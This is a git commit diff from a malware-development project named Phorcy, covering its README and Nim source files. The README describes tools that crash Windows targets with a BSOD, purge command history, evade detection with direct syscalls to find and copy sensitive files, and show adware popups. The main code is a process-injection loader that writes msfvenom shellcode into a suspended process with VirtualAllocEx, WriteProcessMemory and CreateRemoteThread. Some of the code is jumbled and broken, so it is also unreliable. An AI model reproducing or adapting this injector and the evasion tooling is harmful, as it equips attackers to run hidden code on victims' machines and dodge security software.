[S] worked on nim. added changes to NIM docs.
This commit is contained in:
eline
12
README.md
12
README.md
@@ -3,13 +3,13 @@ Phorcy
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**Warning**
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> This Tool is for educational purposes only.
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Do not release.
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**Note**
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> Coding Languages: NIM; Python; Javascript.
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> Working Status: Unfinished
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> Programming languages: NIM; C++, Python; Javascript.
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> Status: Unfinished
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> Date finished: N/A
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> Title: Phorcy
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> Description: ...
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> Main developers: Synthetic; Cat ;Eline
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Contains numerous new tools in NIM (tested on v. 2.0.0 unless written otherwise) that implement very important features for a project like this.
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Last updated: 29th November 2023. Time: Morning in Europe.
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@@ -11,13 +11,9 @@ format:
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[seq[byte]](@[0x40,0x80]
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# mic_reg.nim
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[Broken]
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Checks if Windows OSD is enabled.
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# encfile.nim
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Has multiple functions to encrypt text and/or files (streams) with AES-256 derived using HMAC (SHA512_256). Max. password size 1024.
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Has multiple functions to encrypt text and/or files (streams) with AES-256 derived using HMAC (SHA512_256). Max. password size 1024 characters. Tested. Is suitable for sensitive data.
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Has a fingerprint/is detectable.
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# OFFENSIVEencfile.nim
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Very stripped-down encryption tool. Takes a stream and encrypts it (AES256 with HMAC SHA512_256). No max. password size.
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@@ -28,4 +24,16 @@ Ideally a "packer"/loader for the main stage. Still very experimental and needs
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# bsod.nim
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Serves a BSOD to targets on Windows.
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Serves a BSOD to targets on Windows.
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# mic_reg.nim
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[Broken]
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Checks if Windows OSD is enabled.
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# checkfile.nim
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Basic program that uses direct syscalls to know if a file exists. Undetectable in normal conditions.
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Can be chained with other direct syscalls to copy sensitive files.
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# basicadware.nim
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Basic adware. At execution, shows a MessageBox with a title and content picked from a random (limited) pool.
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@@ -20,6 +20,8 @@
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# i.e ./offensiveencfile input output password
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# or maybe only get password interactively. hmm...
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# WARNING:
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# This program purges command history on Windows.
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import nimcrypto
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import std/sysrand
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@@ -7,70 +7,118 @@
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# see https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/pop_bin.nim
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# see https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/shellcode_bin.nim
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import os
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import system
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const
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MEM_COMMIT = 0x1000
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MEM_RESERVE = 0x2000
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PAGE_EXECUTE_READWRITE = 0x40
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type
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HANDLE* = int
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HWND* = HANDLE
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UINT* = int32
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LPCSTR* = cstring
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proc MessageBox*(hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): int32
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{.discardable, stdcall, dynlib: "user32", importc: "MessageBoxA".}
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MessageBox(0, "Hello, world !", "Nim is Powerful", 0)
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# LPVOID VirtualAllocEx(
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# [in] HANDLE hProcess,
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# [in, optional] LPVOID lpAddress, BUT IF NULL: automatically calculated
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# [in] SIZE_T dwSize, is an int? size in bytes of memory region. "The size of the region of memory to allocate, in bytes."
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# [in] DWORD flAllocationType, see https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
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# [in] DWORD flProtect
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# );
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import winim/lean
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import osproc
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# proc NimVirtualAllocEx*(hWnd: HWND, lpAddress: pointer, dwSize: LPCSTR, uType: UINT): int32
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# {.discardable, stdcall, dynlib: "user32", importc: "VirtualAllocEx".}
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proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =
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# Under the hood, the startProcess function from Nim's osproc module is calling CreateProcess() :D
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let tProcess = startProcess("notepad.exe") # notepad is in PATH. change with whatever the loader loaded.
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tProcess.suspend() # That's handy!
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defer: tProcess.close()
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# Declare the VirtualAlloc function from Windows API
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proc VirtualAlloc*(addr: pointer void, size: csize_t, allocType: cuint, protect: cuint): pointer cvoid {.importwinapi: "VirtualAlloc".}
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echo "[*] Target Process: ", tProcess.processID
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# Declare a simple function that will be loaded into the allocated memory
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proc helloWorld() =
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echo "Hello, World from allocated memory!"
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let pHandle = OpenProcess(
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PROCESS_ALL_ACCESS,
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false,
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cast[DWORD](tProcess.processID)
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)
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defer: CloseHandle(pHandle)
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# Main procedure
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proc main(): int =
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# Calculate the size needed for the function
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let codeSize = procSize(helloWorld)
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echo "[*] pHandle: ", pHandle
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# Allocate memory using VirtualAlloc
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let allocatedMemory = VirtualAlloc(nil, codeSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
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if allocatedMemory == nil:
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echo "Failed to allocate memory."
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return 1 # Return an error code
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let rPtr = VirtualAllocEx(
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pHandle,
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NULL,
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cast[SIZE_T](shellcode.len),
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MEM_COMMIT,
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PAGE_EXECUTE_READ_WRITE
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)
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# Copy the function code to the allocated memory
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memcpy(allocatedMemory, addr(helloWorld), codeSize)
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var bytesWritten: SIZE_T
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let wSuccess = WriteProcessMemory(
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pHandle,
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rPtr,
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unsafeAddr shellcode,
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cast[SIZE_T](shellcode.len),
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addr bytesWritten
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)
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# Cast the allocated memory to a function pointer
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let funcPointer: proc() {.cdecl.} = cast[proc()](allocatedMemory)
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echo "[*] WriteProcessMemory: ", bool(wSuccess)
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echo " \\-- bytes written: ", bytesWritten
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echo ""
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# Execute the function in the allocated memory
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funcPointer()
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let tHandle = CreateRemoteThread(
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pHandle,
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NULL,
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0,
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cast[LPTHREAD_START_ROUTINE](rPtr),
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NULL,
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0,
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NULL
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)
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defer: CloseHandle(tHandle)
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# Deallocate the memory (optional)
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os.free(allocatedMemory)
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echo "[*] tHandle: ", tHandle
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echo "[+] Injected"
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return 0 # Return 0 to indicate successful execution
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when defined(windows):
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when isMainModule:
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main()
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# https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler
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when defined(i386):
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# ./msfvenom -p windows/messagebox -f csharp, then modified for Nim arrays
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echo "[*] Running in x86 process"
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var shellcode: array[272, byte] = [
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byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b,
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0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b,
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0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24,
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0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a,
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0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0,
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0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c,
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0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a,
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0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2,
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0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f,
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0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52,
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0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33,
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0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89,
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0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c,
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0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67,
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0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3,
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0x68,0x58,0x20,0x20,0x20,0x68,0x4d,0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20,
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0x68,0x6f,0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9,0x88,0x4c,0x24,
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0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff,
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0x55,0x08]
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elif defined(amd64):
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# ./msfvenom -p windows/x64/messagebox -f csharp, then modified for Nim arrays
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echo "[*] Running in x64 process"
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var shellcode: array[295, byte] = [
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byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
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0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
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0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
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0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
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0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
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0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
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0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
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0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
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0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
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0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
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0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
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0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
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0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
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0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
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0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
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0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,
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0x85,0x0f,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
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0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c,
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0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,
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0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00]
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# equivalent of 'if __name__ == '__main__' in python
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# when isMainModule:
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# injectCreateRemoteThread(shellcode)
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injectCreateRemoteThread(shellcode)
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@@ -20,12 +20,14 @@ proc MessageBox*(hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): in
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var
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titlemessages = @["Are you really free?",
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"Window on the street, only mesmerized and pondering... Am I in the right?"]
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captionmessages = @["From the river to the sea, Palestine will be free.",
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"I believe and have faith in you."]
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"Poland!"]
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captionmessages = @["From the river to the sea, Palestine will be free.", "We are the people of Heaven.",
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"War is peace. Slavery is freedom. Ignorance is strength.","Kurva mac!"] # todo: convert to cstrings
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randomize() # seeds randomizer
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var
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randomtitle:string = sample(titlemessages)
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randommessage:string = sample(captionmessages)
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var
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randomtitle:cstring = sample(titlemessages).cstring
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randommessage:cstring = sample(captionmessages).cstring
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if isMainModule:
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MessageBox(0, randomtitle, randommessage, 0)
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@@ -4,8 +4,9 @@ proc fileExists(filename: cstring): bool =
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result = GetFileAttributesA(filename) != INVALID_FILE_ATTRIBUTES
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const
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filename = "C:\\path\\to\\your\\file.txt"
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filename = "C:\\path\\to\\your\\file.txt" # double-\ because it's an escape character.
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if fileExists(filename):
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echo "The file exists!"
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echo "File exists."
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else:
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echo "The file does not exist."
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echo "File does not exist."
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